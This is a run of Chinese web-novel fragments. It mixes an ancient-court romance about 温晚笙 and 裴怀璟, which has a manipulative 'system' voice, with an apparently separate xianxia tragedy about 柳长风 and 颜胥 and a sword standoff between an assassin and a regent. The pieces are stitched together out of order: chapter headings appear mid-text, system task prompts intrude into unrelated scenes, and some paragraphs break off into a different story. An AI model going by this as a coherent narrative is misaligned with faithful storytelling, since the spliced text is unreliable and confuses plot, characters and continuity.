好的可能和坏的可能在心中预演了无数遍,一开始还是会想点好的,想的越多推演的坏结局就越多,到了最后,已经变成只要他一开口求亲,颜胥就要拿起刀捅他。 “唉。” 青年长叹一口气,犯了难。 “你怎么了。”察觉到对方情绪的不对,她戳戳他,“你怎么拉这个脸,谁欠你的了。” “没有。”他托着下巴摇头,突然转过来看他,“阿胥,你觉得我怎么样。” 怎么样? 还不就那样,两个眼睛一个鼻子,她瞧了半天也没瞧出他多了或是少了什么东西,还是一如既往。 “就,挺好的啊?” 柳长风身上的气压更低了。 挺好的?没别的吗?他们都在一起三年多了,颜胥就再也没有更进一步的想法吗? 担心对方听不懂自己的弦外之意,他只好换个方式说:“我的意思是,你觉得和我在一起怎么样。或者我有什么缺点或者优点么?” 说完之后双手放在膝上,紧张看她,像是私塾中等待夫子点名的弟子。 颜胥盯着他半天说不出来。 他们就这样对视着僵在原地,待日头再次偏移一个位置后,她才犹犹豫豫道:“挺好的啊,你挺好的。” 挺好的,挺好的,来来回回都是那两句话。 明摆着就是在敷衍他。 柳长风短暂的生气之后又开始反思,是不是自己还不够好。 罢了罢了,兴许现在还不是时候,待他回师门复命将这桩婚事向师尊鼎明,准备好聘礼以后,再来同她说也不迟。 她不明所以地看着他的扬起的嘴角,搓搓胳膊上的鸡皮疙瘩:“你到底要和我说什么。” “阿胥。”他起身揽住她的肩膀,“我得先回师门一趟,等我做完了我就回来找你。至于那个问题,我想到时候再问你。” 她撇撇嘴,不知是在自言自语还是在和他说话:“你不会回来一直都不回来吧。” “不会!” 柳长风翻翻荷包,从里头掏出一对双鲤玉坠,郑重其事地把其中一半交给她:“此乃我家传玉坠,是我爹娘留给我唯一的东西,这一半给你,就当是信物,我至多七天就回来。” 他嘴唇微动,缓缓握住她的手。 “阿胥,我绝不负你的。” 不负这两个字,可轻可重。 有人拿它当借口,想抛弃女郎便撒下谎言,用的也是“绝不负”这几个字。 有人拿它当誓言,一旦立下便绝不悔改,情话说得真切,字字玑珠。 颜胥别开眼,自然而然地将这个伤感的话题轻轻揭过:“对了,你还没同我说说,这香菜具体要怎么吃咧。你说是香料,那要加在哪里才好?” “你想怎么吃都可以,想加在哪里都行。” 颜胥歪头:“加在哪里都可以?” 她上前两步,一把夺过柳长风在村口刚买的芝麻饼,扬起脸看他:“那要是我加在芝麻饼里呢?” 这一听就过分惊世骇俗的想法,任谁听到了都会以为她是在开玩笑,可柳长风却很当真。 他甚至在认真想着芝麻香菜大饼的味道。 他摸摸下巴,一脸正色地看着她:“你可以试试。” 颜胥就这样笑起来。 她上前两步拉住他的手,在他耳边大声说:“柳长风!那说好了,我们七日后见。” “到时候我请你吃新烙好的香菜芝麻饼!” 无人得知神殿中的神明与它的使者去了何处,它从此消失了。 晚风谷上上下下几千人也在一夜之间被屠戮干净。 烛龙没有庇佑它的信徒。 这是后人在史书中在刻下的话。 眼前的雨雾渐渐大了起来,一切在扭曲。 滂沱大雨中,一个梳着长辫子的少女闯入了血迹斑斑的神殿。 她颤抖着跪在地上,不厌其烦地打着他的脸,泪珠从她脸上滚下,滚入泥泞的土壤里。 她的嘴一张一合,似在用力嘶吼什么。 可惜无人回应。 柳长风站在一边,沉默地看着她,他想伸手拍拍她的肩膀,可手掌却总是从她的肩上穿过。 她抱着他的尸体哭得眼泪都干了,又拖着他的尸体走了很久很久,最后回到他们初相逢的那个山谷里。 他一直没走,一直跟在她身后不远处,看着她为了复活自己踏上歧途,成为万人唾弃的鬼修。 也看着她不舍昼夜地修行,一日一日地瘦下去,她把自己藏在黑暗中,唯一没忘记的就是照顾地里新长出来的香菜。 但复生之术本就是无稽之谈。 这世上能将死人复生的只有神明,可神明已经将他们放逐。 他不想再看到她再这样偏执下去,他必须趁自己完全消散之前做点什么。 情急之中,他想到了神殿中还藏着的另外一个“秘宝”。 当晚,他就附身在玉佩之上,以此作为媒介告诉颜胥。 “你往神殿走三百里,那里有复活我的方法。” 说完这句话之后他灵力也达到了极限,从此彻底陷入昏迷之中。 还好颜胥相信了,一大晚早就来到了破败的烛龙神殿深处。这里早已空无一人,她也极为顺利地在破败的石砖中挖出个小盒子。 小盒子里爬出一只小小的虫子,爬在她手上,咬了她一口。 “啊!” 她慌里慌张地想要把虫子打掉,没想到它钻的更深,直接钻入她的肉里。 与此同时,心里好像有什么东西在一点点消失不见。 颜胥左看右看,挠挠头,心中的空落感觉越发明显。 “我,我来这里是做什么的?” 对了,她是来找复生之术的,因为她想复活一个人。 蛊虫越钻越深。 噬情噬情,吃的就是相思之情,相爱之忆。 那个人是—— 颜胥单膝跪在地上,捂着心口大口大口地喘着粗气。 “柳长风!” “你抛弃我,愚弄我,你罪该万死!我要亲手杀了你!” 时将离转而将那两幅画收起,递给了李叔:“乔兄只管等好消息,依旧二八分如何?” 见乔青生同意后,时将离忽然面露遗色:“只是时某现下还有些事,不能奉陪二位了。” 乔青生了然点头,对他的来去匆匆并无意外。 时将离向外走去,在经过温晚笙身旁时,却忽然笑得令人心生误会:“有缘再会,晚笙。” 他没唤她姑娘,而是晚笙。 温晚笙抿了抿唇,望向他大步离去的背影。 二人同李叔寒暄过后,也出了书肆。 乔青生踌躇片刻,忽道:“时老板应当是个好人。”他顿了顿,还是将心中的话说了出来:“不过姑娘还需谨慎些。” 他对时老板也只不过是泛泛之交,算不上过多熟悉。 温晚笙怔忪片刻,继而反应过来他的意思,磕绊地解释道:“乔大哥误会了我与时老板不过只是萍水相逢。” 身后的抱琴见自家小姐害羞的模样“扑哧”一声笑了出来。 她倒是觉得,这个才见不过两面的时老板,比裴世子看着顺眼多了。 温晚笙斜睨了抱琴一眼,而乔青生轻笑着摇了摇头。 方才他可是将二人的互动都看在眼里,虽不知晚笙姑娘是何意,但同为男子,他觉察得出时老板定是对她有意。 乔青生没再多管闲事,而是抬头瞧了眼正盛的日头,热情相邀道:“晚笙姑娘,你们主仆二人不妨去我家吃午饭。” 温晚笙只是思忖了一瞬,便欣然点头答应了。 赶巧她也不想那么早回去。她虽然没接触过这些人,但架不住童蕊天天和她骂,这味道,想记不住都难。 “监天司!是不是监天司的人来过了!” 裴怀璟支支吾吾。 温晚笙焦急地捏住他的领口,声音也渐渐大起来:“说话!是不是!” “是,是我把他们叫来的。”裴怀璟抱着胳膊看她,神色淡淡,“你不会想去追他们吧。别想了,你追不上的。” 温晚笙的眼珠子快要瞪出来。 “晚笙。”他一根根掰开她的手指,耐心解释,“你应该知道,这件事交给监天司来处理是最好的。于情,我们能多赚点。于理,她的状态极不稳定,由我们带回去这一路上恐横生枝节,让监天司负责羁押再合适不过。” 她当然知道! 这番话在园中引起不小波澜,贵女与妇人们齐齐竖起耳朵,看向温晚笙。 皇后娘娘莫不是选中了她? 洛氏笑意盈盈起身答道:“娘娘说笑了,此乃臣妇半个女儿,是我儿的未婚妻子。” 皇后狭长的凤眸眯起,似是堪堪回忆起往事:“原是温家姑娘,许久未见,本宫倒是有些认不出。” 听见皇后略带惋惜的语气,洛氏怔了怔,但面上笑容分毫未变。 听着两人一来一往对话,静坐着的温晚笙眸光微凝。 朝中局势动荡,太子党与三皇子党之争,她也略有耳闻。 养父与晚庆王皆是中立派。 莫非皇后有意拉拢他们两家?不想见到那人。 裴怀璟听见那温和的声音,终于侧眸认真审视这位乔大哥。 不得不说,此人长得不差,一身书生气质,会是如今受上京闺秀喜欢的类型。 而且细细瞧着,他眉眼之间竟还同温晚笙有略微相似之处。 他忍不住皱了皱眉,古人常道,人们容易对与自己相像的人产生好感。 “你说得没错。” 她突然泄气了,笑得比哭还难看,像一朵还没开就被霜打蔫的花,蔫头耷脑地立在风里。 “裴怀璟,我是想见你。” 湿润的水光在她眼底慢慢聚起,像一层轻薄的雾,晃得少年视线微微发颤。 “可那又怎么样,我——” 话音戛然而止。 她瞳孔骤然放大,所有的话语都被堵了回去。 呼吸被蛮横的冷香吞没。 少年的唇压了下来。 第 102 章 第 102 章 温晚笙被紧紧圈禁着,少年的身子离她越来越近,毫无缝隙。 入目的是昔日恋人俊逸的五官,放大后更好看了几分。 她的后颈被温凉而修长的掌心托住,被迫仰起颈脖,无处可逃。 她从没想过他居然敢这样做,一时竟像面对一场突如其来的车祸,明明该躲,明明该反抗,可身体却像是被抽去了所有力气,连指尖都动弹不得。 她无意识闭上了眼,黑暗降临的瞬间,其他感官变得分外敏锐。 掠夺性十足的姿态,落下来的吻却并不急切,也不粗暴,反而生涩得像是第一次。 他的唇瓣贴着她的,轻轻地,缓缓地辗转,软得不可思议,带着些微的颤抖,仿佛只是想把她那些不动听的话都堵回去。 一只手游移到她脑后,指尖插进柔软的发丝间,又克制地收拢。 裴怀璟已经太久太久,没与心上人这么近距离过。 他含着她的唇,不敢用力。 即便闭眼能够更好地感受她,他也不敢,生怕从云端坠落,发觉只是梦一场。 听见李叔的话,乔青生立即转身,文质彬彬地对着缓步入内的蓝袍男子作了一揖:“时老板。” 温晚笙也随之转身,在见到那高大俊朗的人时愕了一瞬。 先前听见乔青生说“时老板”她并未过多在意,没想到竟真的是时将离,这书肆竟也归他所有。 时将离见到少女愣神,唇边添了一抹笑意,却丝毫没有诧异,温声道:“又见面了。” 温晚笙不禁笑靥浅生。 他们才刚分别不过一个时辰,这样巧的事也确实少见。 乔青生露出诧异之色:“时老板竟与晚笙姑娘相识?” 时老板神出鬼没,即便他常来这书肆也很少见到他,没想到晚笙姑娘才搬来不过半月便与他相识了。 时将离无意识搓动手中扳指,似是想到什么趣事,半晌才笑道:“今日才相识。”他那双银灰的眸子直直盯着温晚笙,带着一丝不明意味:“不过却是一见如故,相见恨晚。” 温晚笙回望过去,但听见那大胆的话,耳尖不禁微微一红。 虽说大楚民风开放,但从未有人对她说过如此直白的话语。 乔青生双眸微瞪,左看右瞧,好似明白了什么。 时将离将少女的反应收进眼底,转而对乔青生道:“乔兄,今日又带来什么好作品了?” 乔青生想起此番前来的目的,登时将手中两幅字画铺在空荡荡的桌上,一一展开。 第一幅以深山幽谷为背景,一株挺拔的青竹独自伫立,竹叶随风摇曳。远山苍翠,青竹修长,宛如身置山间,每一根竹叶都活灵活现,仿佛能听到风吹过时的细微声响。上头还提了一行应景的诗句。 而第二幅呈现的却是截然不同的内容。在淡淡的墨色勾勒下,一位女童举着一只风筝,似是正准备扬起,而她身后坐着一名比她稍大的少年,手中拿着笔,嘴角噙着笑意地作画。 温晚笙双眸微垂,细细观察着那幅令人动容的画。 它越是要让她心生妒忌,那她便越要反其道而行之。 她忍住头疼欲裂之感,紧握住手侧茶杯,感受到微凉的瓷器表面,方才逐渐平复心绪。 她凝神平稳住声音,将自己的注意力转到正题之上:“温兄长。”她见男人抬眸看了她一眼,想起他之前那番话,还是恢复了从前的称呼:“你们此番前来可是来查醉月楼一案的?” 温归凌一听见醉月楼三字,面色登时变得严肃了些许。 他深深看了她一眼,似是没想到她这样的闺阁女子也会对此感兴趣。 见他微微颔首,却并未开口,温晚笙忆起先前在衙门见到的紫衣女子,不禁问出心中所惑:“那可查出什么了?” 是否真的是那名女子,一举杀害了几十名男子? 温归凌面色更为凝重,惜字如金道:“未曾。” 此案牵涉颇深,但那日,裘月影除了一口咬定她并非凶手外,未曾提供丝毫其他信息更没有提及与他过往点滴。 诸多证据皆指向她,而她却笙愿被怀疑,也不肯与他多说半句。 就像从前的岁月一横隔了无数红尘,再难回首。 知县提议直接将她捉拿归案,但他却仍心存挣扎。 今日他原是想再去一趟醉月楼,寻找是否还有其他线索,但温宛儿却坚持要来到这茶楼稍作休息。 恰逢天色骤变,他也便同意了。 没想到却在此遇见了温晚笙主仆二人。 那道声音已然消失,但温晚笙心中纷繁的思绪却如雨丝般飘洒。那日的刺客? 黎安在见燕歧一副风轻云淡的样子,谨慎地没有再次行动,手腕一翻,将剑锋直指燕歧咽喉。 “你是如何知道的?”黎安在挺直腰背,努力将气势撑起,缓步逼近。 “呵。” 又是一声轻笑,燕歧只垂眸看着近在咫尺的剑锋,那双狭长深沉的凤眸中,不经意流露出一切尽在掌控之中的绝对自信。 燕歧微微抬手,随着手臂的动作,偏过头,唇角微微勾起,给予自上而下的一瞥。 “现在知道了。” 黎安在身子一僵:“……” 连带着剑锋都跟着不易察觉地抖了一瞬。 可恶,他被骗到了! 燕歧装着深沉、无所不知的模样,原来竟是在诈他! 黎安在不再耽搁时间,腕上用力,足尖点地,如片叶阴影般,倏忽向前刺去。 “且慢,刺客阁下。” 剑锋已距颈侧不足一寸,燕歧依旧是那副游刃有余的模样,松散披着里衣,袒露胸前一大片肌肤,他倚靠在武器架上,即使长剑的薄刃几乎要刺破他的要害,剑光的寒芒明晃晃映在眼底,也依旧岿然不动。 黎安在心中起疑,他双目微眯,下意识放缓攻势,但依旧谨慎,生怕燕歧留有什么后手,黎安在将长剑架在燕歧的颈边,腕见力道沉稳,只需轻轻用力,便可割破燕歧的喉咙。 燕歧垂眼瞥向长剑,淡淡收回目光。 “几个问题。让本王死个明白,如何?” 这倒可以。 刺客的临终关怀,如情况宽裕,可等待即将被斩杀的对象,说上几句遗言。 黎安在轻轻点头,开口道:“请说。” 燕歧微微一笑,也不顾颈侧架着的长剑,向前倾身。 眼见长剑就要划破颈侧皮肤、咬上燕歧的跳动的脉搏,黎安在瞳孔微颤,他迅速抬腕收势,将长剑侧开,防止燕歧自顾自向前,他还没解释明白时,就一头撞剑而死。 燕歧直起身子,逐渐向前逼近,他每靠近半分,黎安在的剑尖就本能地后撤半分。 燕歧很高,倾身向下逼近时,黎安在需得向后仰身,再仰头,才能保持堪堪的平衡。 随着燕歧的动作,他与眼前这位名声赫赫的摄政王的距离迅速拉进,黎安在已可以清晰看见,燕歧那长且浓密的眼睫,根根分明,这般近的距离,似乎可以数清睫毛的个数,烛火的澄光攀上睫梢,于凤眸中映下一片隐晦的阴影,教人看不清眼底神情 剑锋虽不算沉重,但因长时间肌肉僵硬,神思紧绷,平举久了,手臂发酸,剑尖有轻微偏移,又迅速被黎安在纠正,心中不禁庆幸,幸好他时刻谨记覆面行动,不然,此刻脸上的哪怕一瞬间的走神,都会被燕歧捕捉去。 在二人鼻尖只留一寸距离时,燕歧停下了,这般距离,不似与刺客对峙,反倒像是跟情人窃窃私语,燕歧轻声开口:“不知这位刺客阁下如何称呼?” 黎安在沉默不语。 刺客本命,不能泄露,否则后患无穷。 燕歧耐心等着答案,在气氛陷入沉寂之时,体贴地从喉间呼出一声疑问的“嗯?” 黎安在板起一张脸,认真地说:“这与你死得明不明白并无干系。” “可本王总得知道,自己死在谁的剑下吧?” 没完没了了! 这燕歧该不会是在拖延时间吧? 迟则生变,黎安在不欲与燕歧纠缠,随意抛出一个假名:“安梨。” 不知为何,说出这个名字之后,眼前的男人眼底似乎划过一抹愉悦。 “安、梨。”燕歧用舌尖抵着齿尖,缓慢碾过这个名字。 黎安在微微皱眉,密报中的燕歧,不是冷漠薄情、少言寡语的性格么? 黎安在将手中长剑压得更紧实些,剑刃压下,颈侧至锁骨的皮肉被剑身压出一道印痕,剑锋凌厉,微微划破皮肤,擦出一道浅浅的血痕,一线血珠汇集到一起,沿着长剑光滑的刃向下滚落。 燕歧似乎是被他突如其来的发难威吓住,没再做出什么古怪的举动,而是微微后撤,移开一段距离。 “谁派你来的?”燕歧问。 黎安在又陷入了沉默。 嗯……他也不知道是谁,到枕水楼发布这个悬赏的委托人,只有师父见过。 “无可奉告。”黎安在硬邦邦地说。 “好。”燕歧不置可否地点点头,没再纠缠不休。 这次竟然这般好说话? “那你杀了本王后,有多少酬劳?” 黎安在声音清澈地说:“三千两。” 燕歧挑眉:“黄金?” 黎安在如实回答:“银元。” “呵。”燕歧冷笑一声,“就这点,你也接?” 黎安在呆呆张口:“啊?” “本王的命,就这般不值钱?” 黎安在被勾起兴趣,有些好奇,小心翼翼地开口问:“……那,应该值多少?” 燕歧似乎是又好气又好笑地,抬手揉揉眉心,说:“安梨,本王允你三千金,放弃你现在的差事,来本王府中做一名暗卫,如何?” 黎安在茫然地眨眨眼。 多、多少……? 三千金? 三千金就是……三万两银元,这几乎可以在潘楼街北侧购置十套房产!不不,甚至可以在内城中心,在骏仪街揽下一宅大院。 她正欲继续提问,忽然有人敲响了雅间的门。 原是手上还端着两盘精致点心的店小二,可几人除去几盏茶外,并未点过任何吃食。 温宛儿见几人不言语,心道这些古人一个个都跟闷葫芦似的,于是她咳嗽一声,粗着嗓音道:“小二哥,你莫不是搞错了?我们点的东西都已上完了。” 店小二憨厚一笑,解释道:“几位贵客看着便气度不凡。”他靠近几人,弓身将点心摆放整齐:“这是我们阁掌柜的送于几位的,不收钱。” 几人望着金黄色的桂花糖藕与晶莹剔透的红枣糕,疑惑更甚。 他们不过初到梧桐城,这掌柜为何要平白无故给他们送东西? 而温宛儿不由得舔了舔唇,目不转睛地注视着散发着诱人香气的糕点。 糖藕藕身酥软,糖浆均匀地裹着每一寸藕纹,而红枣糕切面微微透明,红枣的纤维分布其中,点缀着一颗颗晶莹的糖珠。 店小二似是想起什么,又补充道:“掌柜的还说,今日几位的茶也免了。” 温宛儿摸了摸咕咕叫的肚子,但还是做足了小厮的模样,称职地问道:“你们掌柜的是?” “掌柜的就在”店小二回身伸出手指,但却转而挠了挠头:“掌柜的上一刻还在这呢” 温晚笙顺着他的手指方向望去,只依稀瞧见一抹玄色背影。 待小二关门离去后,温宛儿迫不及待地开始吃了起来,期间还不忘用手固定一下人中上的胡须。 见三人忍俊不禁地看着她,她讪讪解释道:“小的着实有些太饿了,嘿嘿。”【稍等。】 “呀,温姑娘!”走了不知多久,一道咋咋呼呼的声音从斜前方炸开,温晚笙抬头。 李大仁正站在街对面,满脸堆笑地朝她挥手。她认得,那是谢衡之的同僚,之前属他对他们的婚事最为热络。 而他的身边,是谢衡之。 温晚笙的脚步顿住,眼神晃了晃。 青年一身月白长衫,竟和方才在巷中与她亲吻过的人,有几分奇异的相似。 李大仁悄声说:“谢大人别板着个脸了,瞧瞧你们小夫妻心有灵犀的劲。” 谢衡之唇边漾起不自知的笑意,步子迈向少女。 温晚笙笑不出来,因为身后的人,好像还没有离开。 几乎就在同一刻,从来没发布过任务的系统,也给出了它的解决方案。 “小姐,你还是去给世子送药了?”正打理春兰的抱琴看着才回屋的温晚笙,语气一半打趣,一半无奈。 她方才嘱咐过自家小姐好好歇着,煎药的事交于她便好。 然而,一旦涉及到世子,小姐总是一刻也闲不下来,执意亲力亲为。 见温晚笙立在门旁半晌未回应,抱琴才感到异样,轻唤了声:“小姐?”她匆匆迎了上去,关切询问:“可是身子不适?” 她此前淋了小雨,连驱寒汤都还未喝,便直接去给世子煎药了。 温晚笙却似是没听见,双目失神,蓦然苦涩自嘲道:“抱琴,你说我是不是很傻?” 抱琴看着自家小姐脆弱的模样,愣怔片刻,赶忙将她扶到榻上:“小姐,怎的这样说?” 她不知自家小姐受了什么刺激,只能细声哄她:“小姐,在上京闺秀中,谁不知你温婉娴淑,琴棋书画样样精通。”她顿了顿,宽慰道:“若是连小姐你都说自己傻,那我们这些人又当如何?” 她一如儿时,温柔抚摸着温晚笙的背,能感到她细微的颤抖。 温晚笙垂首一动不动,一缕缕青丝从她的肩头垂落,显得她单薄的身子柔美又凄凉。 沉默半晌后,她才轻声开口,婉转的嗓音中带着一丝沙哑:“抱琴,让我一个人待一会吧。” 抱琴手上动作一顿,心头一阵忧虑,暗自猜测莫不是世子又对小姐说了什么。 往日,世子便常说一些不甚中听的话,最过分那次竟说小姐这种大家闺秀很是无趣,还不如随便一个农家女子。 小姐听见后,面上虽不显,可每每回到房中,总是黯然神伤,难过个好几日。 抱琴张了张口,心知说什么都无济于事,或许真该让小姐独处片刻。 她站起身来,温声道:“那小姐好好歇着,若是有事记得唤我。” 见她缓缓点了点头后,抱琴才轻手轻脚地离去。 听着门被轻轻合上,温晚笙忽而站起身来,连绣鞋都未穿,便径直走向衣橱,抽出一个金漆木雕八宝匣。 这匣子她向来视如珍宝,只因里头装着裴怀璟送于她的第一份礼。 她缓缓打开匣盖,映入眼帘的是一只玉镯,与一支白里透红的桃花玉簪。 这第一样是三年前,她与裴怀璟的亲事刚定下时,王妃亲手交与她的。 她说,她已认定她这个儿媳,故而将她娘家历代传下的镯子交给她, 而这第二样则是裴怀璟因拒婚一事,亲自到侯府赔罪时赠予她的。 固然她心知少年应当并非自愿,但收到它的那日,她仍旧很欢喜。 她情不自禁地握着它一整日,既舍不得放下,也舍不得戴。 她将它当成了定情信物,这三年来一直未曾戴过,想留着等日后成婚了再戴。 她鸦睫颤了颤,不由得缓缓伸出纤手轻轻触摸着它,但往日温热的触感,不知为何此时变得冰凉无比。 她垂下明亮的杏眸不知在想些什么。 下一刻,她忽而拿起那支玉桃花簪,坐到了梳妆台前,缓缓将它插入发间。 镜中的少女,肌肤细腻无瑕,如同珍珠般晶莹剔透。 黑如漆的发丝整齐地垂落在她的双肩,修长的眉如柳叶婆娑,鼻梁微微朝上翘,檀口即便未用口脂也呈出浅红色。 除去一对珍珠耳饰,戴在玲珑有致的耳垂上,没有任何其他饰品。 这桃花玉簪似是将她本就艳丽的容貌,衬得更加光彩照人。 簪身用上等玉石雕琢而成,每一片花瓣都栩栩如生,仿佛能从中闻见桃花的淡雅芬芳。 簪头镶嵌着晶莹剔透的小宝石,宛如清晨的露珠滑过花瓣,闪烁着微光。 玉质渐变的颜色仿佛桃花从淡雅的粉过渡到鲜艳的红,为整支玉簪增色不少。 但她却是觉得,这她曾经视若珍宝的东西,好似没有初见它时那般好看了。 她就这样愣怔地盯着镜中的自己,好一阵子没有移开目光,脑海中蓦然闪过无数自己曾经的痴傻模样。 有前年他奉王妃之命邀她到茶楼,但他却是因为一句“忘了”,让她从晌午等到了傍晚也迟迟未至,她还在王妃面前替他开脱。 有去年上元节,因他一句“等我”,她便一人在大雪中等了许久,一直到侯府下人去寻她,他也未归。 还有三月前的冬日狩猎,他同好友道他不喜不会骑马的女子,而她作为他的未婚妻,正巧因不擅马术未曾上场,被人耻笑。 脑中思绪纷飞,直至眼眶微微发酸,长睫如羽翼般轻轻颤动,她才逐渐从回忆中抽出。 蓦地,她深吸一口气,缓缓将发间簪子摘下,放回匣内,再没看它一眼。【任务:亲吻攻略对象。】 第 103 章 第 103 章 不知是不是错觉,系统音落下的瞬间,谢衡之的脚步顿了一下,方才继续向她走来。 寒星般的眼睛落在她的唇上。 她的口脂比往常都要红,都要艳。那颜色缺了一大半,唇角还有一点不甚明显的晕染,浅浅地溢出唇线。 许久之前,尚在国子监时,他也曾看到过她这副模样。 就像是 “笙儿。”他唤了一声。 温晚笙喉咙发紧,抬手理了理有些凌乱的发丝。 “谢大人,李大人。” 李大人目光在两人之间逡巡,好笑地打趣:“温姑娘叫我大人也就罢了,怎么还这样唤谢大人?这不是生分了么。” “叫习惯了。”温晚笙讪讪一笑,悄悄看青年一眼。 之前也换过称呼,可谢衡之似是感受到了她的不自在,让她无需勉强。 谢衡之不置可否,垂眸从袖中拿出一罐全新的口脂,正是她近日爱涂的颜色。 约莫一个时辰后,一行人抵达了皇宫。 御花园的甬路以不同色的卵石精心铺就,勾勒出曲线婉约的小径。 园内青翠的松柏与竹林点缀着层层山石,繁花争奇斗艳,四处飘扬着花香鸟语。 温晚笙与抱琴俩人缓缓踱步,沉浸在这满园春色。 “晚笙。” 温晚笙脚步一顿,闻声回首,只见一位美妇人笑盈盈地看着她。 是晚庆王妃洛氏,裴怀璟的母亲。 温晚笙笑着福了福身:“王妃。” 洛氏扶起她左右瞧了瞧,蹙眉道:“你母亲呢?” 温晚笙随口找了个说辞:“母亲她临时有点事,稍后便过来。” 实际上,温宛儿刚下马车便称衣裳出了岔子,许氏陪同她去了厢房更衣。 洛氏并未继续追问,转而笑道:“怀璟也来了,待会我命人唤他过来。” 温晚笙莞尔一笑,乖巧点了点头。 洛氏素来热衷于让他们二人培养感情。 这桩婚事是三年前,她十二岁、裴怀璟十三岁时定下的。 因着两家母亲是闺中密友,他们二人从小便相识,虽相处不多,但也算得半个青梅竹马。 然而,婚事却是由晚庆王与崇德侯两人定下,其中缘由不得而知。 洛氏对好友这位懂事的女儿颇为喜爱,加之她一直渴望有个女儿,自然满心欢喜。 而当时的温晚笙得知日后要嫁于心仪的少年郎时,也是欢喜得一夜未眠。 裴怀璟却恰恰相反。 他当即便起了叛逆心理,执意要自己择妻。 最终,晚庆王夫妇不得不软硬兼施,这才避免尴尬局面。 如今三年过去,两家似乎也已忘记当时的不愉快,静待年末履行婚事。 “皇后娘娘到——”一道尖锐的声音响起,园内瞬时一片寂静。 皇后身着湘红色霏缎宫袍,缀琉璃小珠的袍脚软软坠地。 红袍上绣着大朵金红色牡丹,银线将那保养极窈窕的身段隐隐显露出来。 “太子殿下到——”太监尖细的声音继续传来。 一位约莫十七八岁的年轻男子出现后,在场闺秀不约而同倒吸一口冷气。 他身形修长,穿着一袭雪白直襟长袍,金丝滚边,腰系月白祥云纹腰带,上面只悬挂了一块品质极佳的墨玉。 当真是芝兰玉树、光风霁月。 温晚笙观着众人反应,也悄悄踮起脚尖。 毕竟无人不爱看俊俏郎君。 可惜的是,前方人群密集,她仍旧未能看清,只瞥见一抹月白衣角。 众人纷纷行礼之际,皇后金色护甲微翘,抬手示意宫人晚排众人落座。 餐桌上登时摆满了琳琅满目的美味佳肴,酒器中盛满了琥珀色的美酒,微光在杯壁间流转,散发着诱人的酒香。 温晚笙却拧紧秀眉,不露声色扫视着周围。 养母与温宛儿怎的还未归来? 晚庆王妃在此时拉住她的手,缓步将她带到靠近皇后的座位落座。 彼时太子已然离去,温晚笙只见得一个背影。 宫宴过半,皇后忽而看向洛氏,开口道:“王妃何时生了个如此可人的小娘子?” 她的凤眸扫过温晚笙:“本宫瞧着颇有眼缘。” 她轻轻摇了摇头,尝试抑住心头异样,心中不断强调:他们对温宛儿好是理所应当的,毕竟她才是温家真正的千金。 然而那声音却继续道:“说你做错了,你后悔了,你想回侯府!” 她紧攥手指,直至指尖微微发白,手心渗出细微汗珠。 她根本没错为何要她认! 在这静谧的环境中,坐在她身旁的抱琴第一时间察觉出自家小姐的不对劲,轻声询问:“小姐,你怎么了,可是身子不适?” 她自小便容易生病,方才淋了雨,恐怕回去又得病一场。 看见抱琴关切的眼神,她垂低曲翘的长睫,轻轻摇了摇头,示意自己无事。 温归凌闻言抬眸看了眼比从前身子更为单薄的温晚笙,不露声色地皱了皱眉,却没有言语。 总归做了十五年兄妹,她性子要强,他也是知道的。 儿时,她纵使患病,也总能装出一副无恙的模样,照常上下学,从不疏漏任何一门功课。 温晚笙轻咬下唇,竭力忽略那道扰乱她心绪的声音。 “哪个皇帝是你这样的?”温晚笙望着他深埋在自己胸前的发顶,“他们都教你什么了?” 怎么脑子越来越不正常了。 她顿了顿,眉眼垂落,把沉浮已久的话说出了口,“你喜欢我,是不是因为我以前喜欢你?可我要是说,我以前接近你,不是因为喜欢你呢?” 裴怀璟恍若未闻,自顾自地答:“我在二小姐心里。” 他大概是醉得糊涂了,前言不搭后语,一直说着些奇怪的话。 她问他喜欢她什么,可他从未想过这个问题。若是非要说,她身上没有任何一处是让他不喜欢的,因而他根本不知道该挑哪一处来说。 问不出所以然来,温晚笙哈欠连连,无意识摸了摸垂在她手边的手腕。 “嗯?”她触到了奇怪的地方,不像是普通的伤痕,倒像是刻上去的字。 她的指尖顿住,不甘心地又摸了一遍,沿着那片凹凸的纹路细细描摹。 一笔,一划,一个字眼渐渐清晰起来。 明华阁。 茶楼内宾客络绎不绝,淡雅的茶香袅袅弥漫。 几人踏入二楼雅间,木制格栅将窗外的雨水隔绝,只留下微弱的雨滴敲打在窗棂上的声音。 温晚笙与温归凌相对而坐,而抱琴则与温宛儿面对面坐着。 几人面面相觑,一时相对无言。 若是换做往日温宛儿惯会破冰,可今日她好似只想静静充当一名小厮,称职地给几人斟茶后,便低眉顺眼地坐着一动不动。 温晚笙轻抿了口暖茶,才欲开口询问他们来梧桐城的缘由,却猝然听见一道声音在耳畔响起: “温晚笙,你可看见了?” 她稍显迟疑地放下茶盏,一时有些没能反应过来,只听那空灵的声音继续道—— “你那曾经的兄长竟连办案时都要带着她,果真是血浓于水啊! “而你呢,你从前可与他如此兄妹情深过?” 温晚笙心中泛起涟漪,不由得微微低下头,不想让人察觉出自己的异样。 又是这道声音,想必它便是温宛儿所提到的系统,并且只有在她与温家人有接触时才会出现。 可它究竟为何要一直挑拨她与温家人的关系,这于它又有什么好处? 她的眉头皱了起来。 ‘笙’。 旧伤叠加着新伤,有些地方还结着薄薄的痂。少年似乎感受到了疼,手腕不自觉缩了缩。 “你也知道疼啊!”她腮帮子绷紧。 少年知道自己做错了事,讨好般蹭了蹭她的胸口。 温晚笙原本憋着的火气,被他蹭得七零八落。 她又捉住他的右手腕,果然,这只手上才有昨天看过的划痕。 “你这家伙,活该你疼。”她的声音哽住,“都叫你别受伤了…” 她突然想解开他的衣襟,看看另一道伤。可她必须继续完成任务,不能让好不容易筑起的堤坝又溃了口,再也收不住。 “不疼。”裴怀璟本能地反驳,哼哼唧唧地说:“与二小姐分别才叫疼。” 温晚笙喃喃道:“就算任务没失败,我也不可能和你在一起一辈子的。” 痴缠的少年突然抬起头,双眼迷蒙,像是在讨吻。 她承认,选用这个颜色确实带有一些私心。 平日他惯穿绯红、绛红,那些耀眼夺目的颜色,她着实想一睹他穿其他衣色的模样。 见他嘴角微微上扬,一瞬不瞬地一直盯着自己,她忽而感到仿佛裸露般的不自在,匆忙移开了视线。 回想起少年方才的言辞,她莫名地感到一阵心虚。 怎么有点捉奸的意味? 她轻抿朱唇,一抹殷红附上她的耳尖。 随后,她像是意识到什么,忍不住蹙了蹙眉,抬眼望向面上毫无一丝病气的少年。 她朱唇轻启,略有疑惑:“你能起身了?” 明明他昨日还病恹恹的下不了床,无论是吃食还是汤药都要她送到西厢房。 